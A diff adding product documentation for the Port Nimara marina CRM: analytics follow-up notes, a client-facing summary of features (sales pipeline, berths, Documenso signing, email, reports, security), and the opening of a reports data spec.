**Source:** `docs/superpowers/audits/alpha-uat-master.md` — Umami follow-ups parked at end of the 2026-05-19 build session.
|
||||||
|
|
||||||
|
- **Phase 4a — Marketing-site instrumentation.** The CRM's Umami integration (Phase 4b — pixel + tracked-link events on outbound sales emails) is shipped. Phase 4a is the parallel work on the marketing site: add the Umami tracking script to every page, instrument the public berth inquiry form submission, instrument the "request more info" buttons, and confirm session-level attribution flows back to the same Umami workspace the CRM reads.
|
||||||
|
- **Phase 3 — Events tab.** Once 4a lands, the CRM's `/admin/website-analytics` page gets an Events tab that lists every named Umami event (inquiry-submitted, brochure-downloaded, berth-details-viewed, contact-clicked, …) with counts, top-source breakdown, and a 30-day trendline. Backend already proxies `/api/umami/events`; UI surface is the missing piece. Blocked on 4a sending real event data.
|
||||||
|
- **Phase 5 — Funnels.** Multi-step funnel widget on the dashboard ("landed on /berths → opened a berth → submitted inquiry → was created as a CRM interest → reached EOI stage"). Joins Umami sessionId with the CRM's `interests.umamiSessionId` snapshot we already write. Blocked on 4a so the first three steps have real data to consume.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Email-tracking end-to-end verification
|
||||||
|
|
||||||
|
**Source:** alpha-uat-master.md — Bucket 2 Umami follow-ups.
|
||||||
|
|
||||||
|
- **Verify the pixel + tracked-link with a real send** — flip `email_open_tracking_enabled = true` for port-nimara, send a real sales email to a personal inbox, open it in Mail.app + Gmail web, confirm: (a) a `document_send_opens` row appears, (b) `open_count` + `first_opened_at` increment on the parent row, (c) Umami records an `email-opened` event. Same drill for `/q/<slug>` short-links once the composer ships them. Cannot be automated — needs a real human inbox. This is a CRM-side manual UAT step but it depends on the marketing-site short-link redirector being live.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Public berth endpoint email recipient UI (parking note)
|
||||||
|
|
||||||
|
**Source:** memory — "Email ownership at cutover" (`project_email_ownership_at_cutover.md`).
|
||||||
|
|
||||||
|
When the marketing site cuts over and inquiry emails route through the CRM rather than the website's own SMTP, the public berth endpoint + the admin recipient UI need to be in place. Templates + settings keys exist on the CRM side; the marketing-site side needs the form submission target updated to hit `/api/public/website-inquiries` (or whichever the final endpoint is) instead of the legacy mailto. Coordinate as one rollout.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## How to triage when picking these up
|
||||||
|
|
||||||
|
Each item here has a CRM-side prerequisite or downstream consumer that's already in place. The work itself lives in the marketing-site repo. When you tackle one, link the marketing-site PR back into this file and tick the item off — keep this doc shrinking, not growing.
|
||||||
338
docs/new-system-feature-summary.md
Normal file
338
docs/new-system-feature-summary.md
Normal file
@@ -0,0 +1,338 @@
|
|||||||
|
# Port Nimara CRM — What's New & What's Improved
|
||||||
|
|
||||||
|
A client-friendly summary of the new Port Nimara CRM, framed against what the previous system provided. The new platform is a complete, purpose-built CRM that replaces a website + spreadsheet-style data store with a single integrated workspace for sales, berths, documents, communications, and reporting.
|
||||||
|
|
||||||
|
> Scope note: this summary covers the features that are ready for the beta launch. The new client portal, the tenancies module, and the new invoicing module are still being finalised and are intentionally not included here.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## At a glance
|
||||||
|
|
||||||
|
**Previously**, day-to-day sales work happened across three places: the public website (where enquiries landed), the back-end database tool (where data was inspected and edited), and a separate internal portal (where signing, expenses, and a handful of staff tools lived).
|
||||||
|
|
||||||
|
**Now**, all of that lives inside a single, branded CRM at `crm.portnimara.com`-style URLs (one per port). The website still publishes berths and accepts enquiries — but those enquiries flow into the CRM and are managed there, from first contact through deposit, contract, and signing.
|
||||||
|
|
||||||
|
The CRM is built on a dedicated relational database designed specifically for marina sales workflows, with real-time updates, role-based permissions, a full audit trail, and a clean modern interface that adapts to mobile.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Platform-level upgrades
|
||||||
|
|
||||||
|
These improvements apply across every feature area:
|
||||||
|
|
||||||
|
- **Purpose-built database.** The system runs on a dedicated relational database (PostgreSQL) modelled specifically for marina sales. Compared with the previous spreadsheet-style data store, it's faster on large data sets, supports rich relationships between entities (clients, companies, yachts, berths, deals, documents), and enforces data integrity so duplicates and broken links don't slip through.
|
||||||
|
- **Real-time updates.** When a colleague edits a deal, advances a stage, attaches a file, or completes a signing, every other open window updates within a second. No more "refresh to see what changed".
|
||||||
|
- **Per-port branding and configuration.** Each port has its own URL slug, logo, primary colour, default currency, timezone, and email templates. Emails, PDFs, and the in-app shell all pick up the right brand automatically.
|
||||||
|
- **Granular role-based permissions.** Roles are defined per resource (clients, berths, documents, expenses, reports, etc.) with separate view / create / edit / delete / export verbs. Admins can override permissions per user as well as per role.
|
||||||
|
- **Full audit trail.** Every meaningful change (who, what, before-and-after, when) is recorded, retained for 90 days, and searchable. Used in the activity feed, the field-history popovers, and the admin audit log.
|
||||||
|
- **Backups and operational tooling.** Automatic daily database backups, weekly cleanup, configurable retention windows, and a built-in system-monitoring dashboard for staff to verify the queue and integrations are healthy.
|
||||||
|
- **Background job queue.** Heavy or slow work (PDF generation, email sending, exports, webhook retries, bounce polling) runs on a managed queue so the interface stays responsive and nothing is silently lost.
|
||||||
|
- **GDPR-ready.** One-click Article 15 data exports per client, automatic 30-day cleanup of export bundles, and a permissioned hard-delete flow for Article 17 requests.
|
||||||
|
- **Pluggable file storage.** Files live in object storage (S3-compatible) by default, with a one-command migration script to switch backends without rewriting any code.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Sales pipeline
|
||||||
|
|
||||||
|
A complete sales CRM where the team manages every deal from first enquiry to contract.
|
||||||
|
|
||||||
|
- **Kanban board** across seven canonical stages (Enquiry → Qualified → Nurturing → EOI → Reservation → Deposit Paid → Contract) with drag-and-drop, per-column counts, and completed-deal hiding.
|
||||||
|
- **List view** with sorting, filtering, paging, card / table toggle, bulk actions, and saved views per user.
|
||||||
|
- **Deal detail page** with tabs for overview, EOI, contract, reservation, documents, contact log, notes, and timeline. Every field is inline-editable in place — no separate edit modal to wade through.
|
||||||
|
- **Multi-berth interests.** A single deal can attach multiple berths with three independent flags: which berth is the deal's primary, which are publicly "under offer", and which are included in the EOI bundle. The previous system stored at most a single berth link per enquiry.
|
||||||
|
- **Auto-advancing stages.** Deposits hitting their expected amount, EOI completion, contract signing, etc. move the deal forward automatically; staff can intervene if the rules need overriding.
|
||||||
|
- **Pipeline rules engine.** Seven configurable triggers (EOI sent, EOI signed, deposit received, contract signed, deal archived, deal completed, berth unlinked) each with auto / suggest / off modes and a per-port target berth status. Admins can tune the rules without engineering involvement.
|
||||||
|
- **Outcomes.** Terminal outcomes (won, lost to another marina, lost unqualified, lost no response, cancelled) are captured via an outcome dialog with required reason capture.
|
||||||
|
- **Tags, notes, contact log, and activity timeline** on every deal. Tags are inline-editable; notes use a single underlying engine shared across clients, deals, yachts, and companies.
|
||||||
|
- **Saved views and recently-viewed.** Each user can pin reusable filter+sort snapshots; recently-viewed items appear in the topbar for quick return.
|
||||||
|
- **Lead scoring badge** and **qualification checklist.** Per-port qualifying criteria are admin-defined; each deal shows a checklist and a derived score.
|
||||||
|
- **Bulk actions.** Change stage, add/remove tags, archive — with confirmation dialogs and audit-logged outcomes.
|
||||||
|
- **Pipeline summary on each client.** All a client's open and historic deals roll up onto their detail page.
|
||||||
|
|
||||||
|
_Previously, deal management happened directly inside the back-end data tool — no kanban, no stage workflow, no auto-advance, no tags, no notes per deal, no scoring, and no per-deal timeline._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Berths
|
||||||
|
|
||||||
|
Catalog, public-facing feed, recommender, demand signals, and rich per-berth artefacts.
|
||||||
|
|
||||||
|
- **Catalog with list and card views**, filterable by status, area, dimensions; every field inline-editable on the detail page.
|
||||||
|
- **Public berth feed** at `/api/public/berths` and `/api/public/berths/[mooringNumber]` feeds the marketing site. Output mirrors the previous shape exactly so the website didn't need a rewrite; status is computed with a clear precedence (Sold > Under Offer > Available) and served from a 5-minute cache for fast page loads.
|
||||||
|
- **Per-berth PDFs are versioned.** Every upload creates a new version; the current version is the live one. PDFs are parsed automatically through three tiers (form-fields → OCR → optional AI), and the system flags mismatches when the mooring number on the PDF doesn't match the berth.
|
||||||
|
- **Per-port brochures.** Multiple brochures supported per port with one default enforced. Same upload + version flow as berth PDFs.
|
||||||
|
- **Send-berth-PDF dialog.** Branded email composition that attaches the berth PDF (or shares a signed-URL link when the file is over the size threshold).
|
||||||
|
- **Berth recommender.** A pure-SQL ranking that surfaces matching berths per deal via a four-tier ladder (A/B/C/D). Tier B uses heat scoring; weights are configurable in admin so the model can be tuned per port.
|
||||||
|
- **Demand heat scoring.** Per-berth demand intensity, shown on the dashboard widget and on each berth's detail panel.
|
||||||
|
- **Active interests popover.** Hover/tap any berth to see which deals are currently linked to it.
|
||||||
|
- **Bulk price edit.** A sheet for updating prices across many berths at once.
|
||||||
|
- **Bulk-add berths wizard** for onboarding new inventory in batches.
|
||||||
|
- **Catch-up wizard** to reconcile legacy state when migrating berth data.
|
||||||
|
|
||||||
|
_Previously, berths were a flat list with a basic dimension filter on the public site. There was no recommender, no demand heat, no per-berth PDF versioning, no bulk price editor, and no internal berth detail page._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Yachts
|
||||||
|
|
||||||
|
First-class yacht records with proper ownership and history.
|
||||||
|
|
||||||
|
- **Polymorphic ownership.** A yacht can be owned by either a client (individual) or a company; the system models this correctly throughout — search, documents, pipelines, and reports all respect the discriminator.
|
||||||
|
- **Ownership history.** Every transfer is recorded with date and parties; previous owners are visible from the yacht detail.
|
||||||
|
- **Yacht transfer dialog** for moving a yacht between owners (client → client, client → company, etc.) with audit trail.
|
||||||
|
- **Inline editing** of all dimensions and identifiers; dimensions are normalised and validated.
|
||||||
|
- **Yacht picker reused everywhere** — when creating a deal, attaching a document, or filing under an entity, the same searchable picker appears.
|
||||||
|
|
||||||
|
_Previously, yachts were not stored as their own records — they were free-text fields on enquiry submissions._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Companies & memberships
|
||||||
|
|
||||||
|
First-class company entities with member relationships.
|
||||||
|
|
||||||
|
- **Companies list and detail** with tabs for overview, members, owned yachts, and files.
|
||||||
|
- **Members management.** Add/remove members with active/inactive state and roles. Membership reach feeds into the documents projection (a client gets to see relevant company files automatically).
|
||||||
|
- **Polymorphic ownership.** Companies can own yachts and be the contractual party on a deal, mirrored across the codebase rather than improvised per surface.
|
||||||
|
- **Files tab** on company detail showing both directly-attached files and files reaching through related entities.
|
||||||
|
|
||||||
|
_Previously, companies did not exist as a separate concept; everything was attributed to a single named individual._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Clients
|
||||||
|
|
||||||
|
The detail page each contact deserves.
|
||||||
|
|
||||||
|
- **Single detail page** with tabs for overview, deals, yachts, companies, files, contact log, and notes.
|
||||||
|
- **Inline editing everywhere.** Name, addresses, phone numbers, emails, sales rep, communication preferences — all editable in place via small inline fields.
|
||||||
|
- **Multi-channel contacts.** Multiple emails and phone numbers per client, with primary flagging and canonical normalisation (phone numbers are normalised to a single international format for reliable search and matching).
|
||||||
|
- **Audit-driven field history.** Click any field's history icon to see who changed it, when, and what the previous value was.
|
||||||
|
- **Tags, notes, and contact log** — all the same shared components as elsewhere, so the experience is consistent.
|
||||||
|
- **Pipeline summary.** All a client's deals — open and closed — roll up onto their detail page.
|
||||||
|
- **Smart archive / smart restore.** Archive a client and the system handles cascading state (related deals, files) intelligently; restore previews exactly what will come back.
|
||||||
|
- **Hard-delete with bulk variant** behind a permission gate, for genuine "remove from the system" requests.
|
||||||
|
- **GDPR Article 15 export button.** One click queues a ZIP bundle (JSON + readable HTML) and emails the client a signed download link; the bundle auto-deletes after 30 days.
|
||||||
|
- **Dedup engine.** The system surfaces probable duplicates and offers a merge flow that consolidates linked records, notes, files, and audit trail correctly.
|
||||||
|
- **Send-documents dialog** for branded multi-attachment sends from any client.
|
||||||
|
|
||||||
|
_Previously, contact records were flat rows in the back-end tool — no detail page, no inline editing, no audit history, no GDPR export, no dedup, no per-client deal roll-up._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Documents hub
|
||||||
|
|
||||||
|
A nestable folder tree per port with intelligent auto-filing.
|
||||||
|
|
||||||
|
- **Tree of folders** with nestable subfolders, drag-and-drop move, rename, soft-rescue delete (children re-parent rather than disappear).
|
||||||
|
- **System folders for each entity type** — `Clients/`, `Companies/`, `Yachts/` — auto-populated with per-entity subfolders the first time a record needs one.
|
||||||
|
- **Auto-filing on signing.** When a Documenso envelope completes, the signed PDF lands in the right entity folder automatically based on who owns the deal — no manual filing needed.
|
||||||
|
- **Aggregated view across relationships.** Open a client and you also see files attached to their companies and yachts, grouped under clear headings (Directly Attached / From Company / From Yacht / From Client). Each group is capped to keep the view skimmable; deeper drill-down is one click away.
|
||||||
|
- **Rich file preview.** PDFs render inline; images preview at sensible sizes; everything else gets an icon, type label, and download.
|
||||||
|
- **Upload for signing dialog.** Send any file straight into a Documenso signing flow without leaving the documents hub.
|
||||||
|
- **In-flight workflow tracker** — see which envelopes are mid-signing across the same aggregated reach.
|
||||||
|
- **Permissions** scoped by role: separate `view` and `manage_folders` verbs; system folders are immutable via API to keep the structure clean.
|
||||||
|
- **Recent files** surface in the topbar and global search.
|
||||||
|
|
||||||
|
_Previously, file management lived in the separate internal portal as a flat S3 file browser with no folder tree, no auto-filing, no aggregated-by-entity view, and no signing-integration on individual files._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. EOI generation & Documenso signing
|
||||||
|
|
||||||
|
Template-driven EOIs with multi-berth support and resilient signing.
|
||||||
|
|
||||||
|
- **Two pathways from one underlying model.** EOIs can be generated through Documenso templates (the primary path) or filled into the in-app EOI PDF directly. Both share the same data context, so any change to a deal is reflected identically.
|
||||||
|
- **Multi-berth EOI ranges.** When an EOI bundles multiple berths, the document automatically renders a compact range ("A1–A3, B5–B7") in the Berth Number field, and the CRM UI shows the full set as chips. The catalogued merge tokens are enforced at template-creation time so a mistyped placeholder cannot silently slip into a generated document.
|
||||||
|
- **Configurable signing order.** Parallel or sequential signing per port, with a tri-state default ("use template default / always parallel / always sequential").
|
||||||
|
- **Automation modes** per deal: manual (staff sends each step), sequential auto (system advances on each signature), or concurrent auto (everyone signs at once). Mode changes are audit-logged.
|
||||||
|
- **Idempotent webhook handling.** Documenso retries don't double-write; status changes are normalised across both supported API versions; the system polls every 5 minutes as a safety net if a webhook is missed.
|
||||||
|
- **Rejection reasons captured** when a signer declines.
|
||||||
|
- **Reminders and voids.** The CRM surfaces send-reminder and void-envelope actions directly from the deal detail.
|
||||||
|
- **Embedded signing card** for clients to sign in-app where appropriate.
|
||||||
|
- **External EOI upload.** Record an EOI that was signed outside the system (PDF upload + counterparty list) without breaking the rest of the deal flow.
|
||||||
|
- **Webhook health card** in admin shows recent deliveries, failures, and a "test now" affordance.
|
||||||
|
- **Per-port Documenso configuration.** Each port can target its own Documenso instance, API key, signing order, and redirect URL.
|
||||||
|
|
||||||
|
_Previously, signing was a Documenso embed hosted from the internal portal with token-based redirects, no multi-berth range support, no idempotent webhook handling, no automation modes, and no health diagnostics in the UI._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Email send-outs
|
||||||
|
|
||||||
|
Branded, audited, configurable outbound mail.
|
||||||
|
|
||||||
|
- **Per-port branded templates.** Every transactional email (invites, signing notifications, residential and berth enquiries, contract-related comms, digests, etc.) shares a single branded shell — port logo, blurred overhead background, consistent typography — that picks up the port's branding automatically.
|
||||||
|
- **Configurable send-from accounts.** Each port can configure its human send-from (e.g. `sales@portnimara.com`) and its automation send-from (e.g. `noreply@portnimara.com`). SMTP/IMAP credentials are encrypted at rest; API endpoints return only "is set" markers, never the password.
|
||||||
|
- **Compose dialog** with rich body (markdown rendered safely with a strict allow-list), multi-attachment, and live preview.
|
||||||
|
- **Smart attachment handling.** Files over a configurable per-port size threshold ship as 24-hour signed-URL links instead of attaching directly, keeping email deliverable.
|
||||||
|
- **Send rate limit** (50 sends/user/hour) to protect deliverability reputation.
|
||||||
|
- **Email audit log.** Every send is recorded with recipient list, body, attachments, and links; admin can browse the full send log.
|
||||||
|
- **Inbound bounce monitoring.** A scheduled job (every 15 minutes) reads non-delivery reports and matches them back to the original send so staff know a message bounced.
|
||||||
|
- **Email threads** stitched together — replies to a CRM-originated email are threaded under the original.
|
||||||
|
- **Tracked-link composer.** Generate per-recipient tracked links so opens and click-throughs can be attributed back.
|
||||||
|
- **Per-port template overrides.** Admin can override any transactional template per port without touching code.
|
||||||
|
- **Notification digests.** Hourly digest assembled from each user's unread notifications above a threshold.
|
||||||
|
|
||||||
|
_Previously, transactional email was sent via Gmail SMTP from string-template builders, with no per-port branding override, no send audit log, no bounce monitoring, no attachment-threshold logic, no rate limiting, and no per-template overrides without a redeploy._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Reports
|
||||||
|
|
||||||
|
Live Sales and Operational dashboards, plus a custom builder, scheduling, and exports.
|
||||||
|
|
||||||
|
- **Sales report** with KPI strip (deals open, EOIs sent this month, deposits received, win rate, average days-in-stage, conversion by source, etc.), pipeline funnel, stage-velocity chart, source-conversion chart, rep leaderboard, deal-heat panel, win-rate-over-time line, and supporting detail tables. Every filter (stage, lead category, outcome) applies live.
|
||||||
|
- **Operational report** with an operational heatmap and signing-box plot — used to spot bottlenecks in the signing/operations pipeline.
|
||||||
|
- **Custom report builder (MVP).** Pick an entity, choose columns, pick a date range, and run. Four entities are live at launch; additional entities and column-level controls roll out incrementally.
|
||||||
|
- **Save / load / save-as templates.** Any report configuration can be saved as a named template with an optional shareable link, then re-run on demand.
|
||||||
|
- **Scheduled runs.** Weekly, monthly, or quarterly cadences; system runs the report on schedule and (optionally) emails the recipients a branded PDF. Run history is browsable in admin.
|
||||||
|
- **PDF exports** are server-side rendered with a branded cover page. CSV and Excel exports also available client-side from every list.
|
||||||
|
- **Status badges** for each scheduled run so admin can see at a glance which schedules are healthy.
|
||||||
|
- **Charts** use a mix of standard chart libraries — simple bars/lines/pies on top of a strong charting library, with heatmaps and funnels handled by a separate engine tuned for that purpose.
|
||||||
|
|
||||||
|
_Previously, there were no in-system reports. Staff exported NocoDB views to spreadsheets and built reporting by hand each time._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Admin
|
||||||
|
|
||||||
|
A purpose-built admin surface organised into seven domain groups.
|
||||||
|
|
||||||
|
- **Admin sections browser** that groups every admin page under: Brand & Communication, Sales Workflow, Catalog, Identity & Access, Inbox & Data Quality, Integrations, and System & Observability.
|
||||||
|
- **42 dedicated admin pages** covering: AI usage caps, audit log, backups, berths, branding, brochures, custom fields, Documenso health, duplicates, email accounts, email templates, error log, forms, inquiries, invitations, monitoring, OCR, onboarding, pipeline rules, ports, "pulse" health indicators, qualification criteria, reminders, reports admin, residential stages, roles, sends log, settings, storage, tags, templates, users, vocabularies, webhooks, and website analytics.
|
||||||
|
- **Permissions UI.** Browse roles, edit role definitions, browse users, and assign per-user overrides through a visual permission matrix.
|
||||||
|
- **Settings registry.** A single source of truth for every configurable setting, with sections for email, Documenso, storage, pipeline auto-advance, AI providers, application URLs, operations toggles, residential partner integration, and more. Settings are per-port and validated.
|
||||||
|
- **System monitoring dashboard.** Service health, queue depth, queue detail, reconcile state — all in one place.
|
||||||
|
- **Port configuration** for adding new ports with their own branding, currency, timezone, and email background.
|
||||||
|
- **Webhooks admin** for dispatching CRM events outward to external systems.
|
||||||
|
- **Tags, vocabularies, and custom fields** that tenants can shape themselves without engineering involvement.
|
||||||
|
- **Forms admin** for creating supplemental info-request forms (used in qualification, residential, etc.).
|
||||||
|
- **Onboarding checklist and banner** to guide new ports through setup.
|
||||||
|
|
||||||
|
_Previously, "admin" meant opening the back-end data tool directly to edit rows, with no permissions model, no role assignments, no settings UI, no monitoring, and no onboarding flow._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Search
|
||||||
|
|
||||||
|
A fast, fuzzy, permission-aware global search.
|
||||||
|
|
||||||
|
- **Topbar search across every entity** — clients, residential clients, yachts, companies, deals, berths, invoices, expenses, documents, files, reminders, brochures, tags, plus navigation/settings deep-links.
|
||||||
|
- **Multiple match strategies.** Full-text search for documents, partial-word matching for names and titles, fuzzy trigram matching so "Jhon" still finds "John", canonical phone-number matching that ignores formatting differences, and direct ID lookup for paste-a-record-id workflows.
|
||||||
|
- **Affinity ranking.** Results you've recently touched are promoted, so "your John" appears above "some other John".
|
||||||
|
- **Cross-port super-admin pass.** Super-admin users see other-port matches in a separate, clearly-labelled section.
|
||||||
|
- **Permission-aware.** Viewers don't see search results they couldn't open.
|
||||||
|
- **Mobile search overlay** designed for thumb reach.
|
||||||
|
- **Highlighted match terms** so the relevant substring jumps out in each result.
|
||||||
|
- **Admin search across the 7 IA domains** — every admin page is reachable from the topbar with a keyword.
|
||||||
|
|
||||||
|
_Previously, "search" meant filtering a single NocoDB table at a time. There was no global search, no cross-entity matching, no fuzzy matching, no affinity ranking, and no admin deep-link search._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 12. Activity feed & notifications
|
||||||
|
|
||||||
|
A unified activity feed and a notification engine for both in-app and email.
|
||||||
|
|
||||||
|
- **Dashboard activity widget** shows recent meaningful events across the port.
|
||||||
|
- **Per-entity activity feed** on every client, deal, berth, yacht, and company detail page.
|
||||||
|
- **Standardised verb vocabulary** — created, updated, archived, restored, merged, transferred, sent, signed, completed, rejected, voided, and so on. Historical legacy-stage events are re-mapped to the current vocabulary so the timeline reads consistently.
|
||||||
|
- **My reminders rail** on the dashboard surfaces due and overdue follow-ups.
|
||||||
|
- **Reminders engine** with admin configuration (cadence, severity, recipients).
|
||||||
|
- **Alert engine.** Rule-based alerts evaluated every 5 minutes — admins define the rules; the engine generates notifications when they fire.
|
||||||
|
- **In-app inbox** in the topbar.
|
||||||
|
- **Hourly notification digest email** when unread items pass a threshold.
|
||||||
|
|
||||||
|
_Previously, there was no in-system activity feed, no reminders engine, and no rule-based alerting._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 13. Analytics
|
||||||
|
|
||||||
|
Website analytics, email-open tracking, and outcome events feeding into a privacy-respecting analytics platform.
|
||||||
|
|
||||||
|
- **Website-analytics dashboard** in the CRM with: realtime visitors panel, world map of visitors, sessions list, session detail sheet, weekly heatmap, pageviews chart, top referrers / pages / devices, and per-metric detail shells.
|
||||||
|
- **Per-port project linking** to a Umami analytics project — outcome events from the CRM (EOI sent, deposit received, etc.) cross-post to the same project so marketing and sales metrics share a timeline.
|
||||||
|
- **Email-open pixel.** Branded sends include a small open-tracking pixel; opens are recorded against the original send and surface in the send audit log.
|
||||||
|
- **Admin → website-analytics** for configuring the link to the Umami project.
|
||||||
|
|
||||||
|
_Previously, website analytics lived only in the standalone analytics tool; there was no integration of marketing analytics into the sales surface._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 14. Mobile & responsive design
|
||||||
|
|
||||||
|
Designed mobile-first; every list, sheet, and dialog is touch-friendly.
|
||||||
|
|
||||||
|
- **Dedicated mobile shell** when the viewport is small: a mobile topbar, bottom tab bar, and a "more" sheet for overflow navigation.
|
||||||
|
- **Card mode toggle on every list.** Switch lists between table and card view; card view is the default on mobile.
|
||||||
|
- **Mobile search overlay** designed for thumb reach.
|
||||||
|
- **Responsive tab strips** that collapse intelligently.
|
||||||
|
- **Touch-tuned form controls.** Phone input, country picker, and timezone picker are all built for mobile keyboards.
|
||||||
|
|
||||||
|
_Previously, the back-end data tool the team used was not designed for phone use; staff worked from a laptop by necessity._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 15. Security & compliance
|
||||||
|
|
||||||
|
A defensive posture across the stack.
|
||||||
|
|
||||||
|
- **Authentication via `better-auth`** with session cookies; branded login, reset-password, and set-password surfaces.
|
||||||
|
- **CRM invitations** with a token-based admin-driven invite flow.
|
||||||
|
- **Granular RBAC.** Per-resource, per-action permissions — applied at the service layer, not just the UI.
|
||||||
|
- **Audit log everywhere.** All meaningful actions recorded with severity tier; 90-day retention configurable.
|
||||||
|
- **GDPR Article 15 exports** (one-click bundle, signed download, 30-day cleanup) and Article 17 hard-delete with restore preview.
|
||||||
|
- **PII masking at audit-write time.** Old metadata still expires per retention; new metadata is masked before insertion.
|
||||||
|
- **Magic-byte PDF validation** on every upload path (both in-server and presigned-PUT).
|
||||||
|
- **Timing-safe webhook verification** for Documenso (no leaky string comparisons).
|
||||||
|
- **Defense-in-depth port scoping** on every aggregated query — even joins double-check `port_id` so a cross-tenant leak would have to bypass multiple checks.
|
||||||
|
- **30-second timeouts on object-storage calls** so a slow MinIO/S3 host can't stall the application.
|
||||||
|
- **Per-port encryption-at-rest** for SMTP/IMAP credentials.
|
||||||
|
- **Pre-commit hooks block accidental commits of secrets** (`.env` files including `.env.example`).
|
||||||
|
|
||||||
|
_Previously, the public website ran public forms straight into the data store with reCAPTCHA only; there was no audit log on website-originated changes, no permission model on the public surface, no GDPR-Article-15 export tooling, and no PDF content validation._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 16. Multi-tenancy at port level
|
||||||
|
|
||||||
|
The platform is designed from the ground up for multiple ports.
|
||||||
|
|
||||||
|
- **Per-port URL slug.** Each port has its own URL prefix, brand, and configuration.
|
||||||
|
- **Per-port branding** — logo, primary colour, default currency, timezone, branded email background.
|
||||||
|
- **Per-port email templates** — every transactional template can be overridden per port from admin, without engineering involvement.
|
||||||
|
- **Per-port Documenso configuration** — API version (v1 or v2), API key, signing order, redirect URL.
|
||||||
|
- **Per-port storage backend** — choose S3-compatible or filesystem per port; switch with a single migration script.
|
||||||
|
- **Per-port currency and timezone** flow through the scheduler, the dashboard's timezone-drift banner, the recommender's deposit defaults, and every report.
|
||||||
|
- **Per-port sales settings** — qualification criteria, pipeline rules, recommender weights, send-from accounts, and AI budgets are all scoped to the port.
|
||||||
|
- **Cross-port super-admin search** — super-admins see other-port matches in a clearly-labelled secondary section; otherwise all queries scope to the current port.
|
||||||
|
|
||||||
|
_Previously, the system was effectively single-tenant — a separate deployment would have been needed to onboard a second port._
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## What's net-new (not present in the previous system at all)
|
||||||
|
|
||||||
|
- A full sales CRM with kanban, list, detail, inline editing, stages, outcomes, tags, notes, scoring, and qualification — for staff.
|
||||||
|
- Yachts, companies, and memberships as first-class entities (the previous system had no concept of these).
|
||||||
|
- A nestable documents hub with auto-filing and cross-relationship aggregation.
|
||||||
|
- Reports — Sales and Operational dashboards plus a custom builder, with templates and scheduled runs.
|
||||||
|
- Global cross-entity search with fuzzy matching and affinity ranking.
|
||||||
|
- An activity feed, reminders, alert engine, and notification digest.
|
||||||
|
- Per-port multi-tenancy (branding, configuration, currency, timezone, Documenso, storage).
|
||||||
|
- Granular role-based permissions with per-user overrides.
|
||||||
|
- A comprehensive audit log surfaced in the activity feed, field-history popovers, and admin audit log.
|
||||||
|
- GDPR Article 15 export tooling and Article 17 hard-delete with restore preview.
|
||||||
|
- Background job queue + scheduled cron jobs for reliability.
|
||||||
|
- Real-time UI updates across every open session.
|
||||||
|
- Mobile-first design with a dedicated mobile shell.
|
||||||
|
- Website-analytics dashboard inside the CRM (with email-open tracking and event cross-posting).
|
||||||
|
|
||||||
|
## What stays similar but is improved
|
||||||
|
|
||||||
|
- **Berth catalog and public berth feed.** The data the marketing site sees is the same shape it always was, served from a faster, properly-cached endpoint backed by the new database. The internal side adds versioned per-berth PDFs, brochures, a recommender, and demand heat scoring.
|
||||||
|
- **EOI generation and Documenso signing.** EOIs still flow through Documenso, but with multi-berth ranges, configurable signing order, automation modes, idempotent webhook handling, a 5-minute polling safety net, in-product reminders and voids, external-EOI upload, and a webhook health diagnostic.
|
||||||
|
- **Transactional email.** Still SMTP-backed, but now with per-port branded templates, configurable send-from accounts, audited sends, bounce monitoring, attachment-threshold smart handling, and rate limits.
|
||||||
|
- **Public enquiry intake.** The website still accepts enquiries, but they now land in a managed inbox in the CRM with deduping, owner assignment, and full audit, instead of becoming raw rows in the data store.
|
||||||
524
docs/reports-content-spec.md
Normal file
524
docs/reports-content-spec.md
Normal file
@@ -0,0 +1,524 @@
|
|||||||
|
# Reports — content spec (draft for review)
|
||||||
|
|
||||||
|
> Source of truth for what each report category will contain. Driven by
|
||||||
|
> the actual data we have in the schema; nothing here is aspirational
|
||||||
|
> data we'd need to start collecting. Once locked, this drives the
|
||||||
|
> builder implementations.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Raw materials — data we already capture
|
||||||
|
|
||||||
|
The proposals below are bounded by what we already store. A quick map of
|
||||||
|
the load-bearing fields per entity:
|
||||||
|
|
||||||
|
### `interests` (the sales pipeline source of truth)
|
||||||
|
|
||||||
|
- `pipelineStage` — one of 7 canonical stages
|
||||||
|
- Per-stage timestamps: `dateFirstContact`, `dateLastContact`,
|
||||||
|
`dateEoiSent`, `dateEoiSigned`, `dateReservationSigned`,
|
||||||
|
`dateContractSent`, `dateContractSigned`, `dateDepositReceived`
|
||||||
|
- `outcome` (won/lost variants), `outcomeReason`, `outcomeAt`
|
||||||
|
- `source` (website/manual/referral/broker), `leadCategory`
|
||||||
|
(general/qualified/hot)
|
||||||
|
- `assignedTo` (rep), `clientId`, `yachtId`
|
||||||
|
- `depositExpectedAmount` + currency
|
||||||
|
- Per-doc status fields: `eoiDocStatus`, `reservationDocStatus`,
|
||||||
|
`contractDocStatus` (pending/sent/signed/declined/voided)
|
||||||
|
- `archivedAt`
|
||||||
|
|
||||||
|
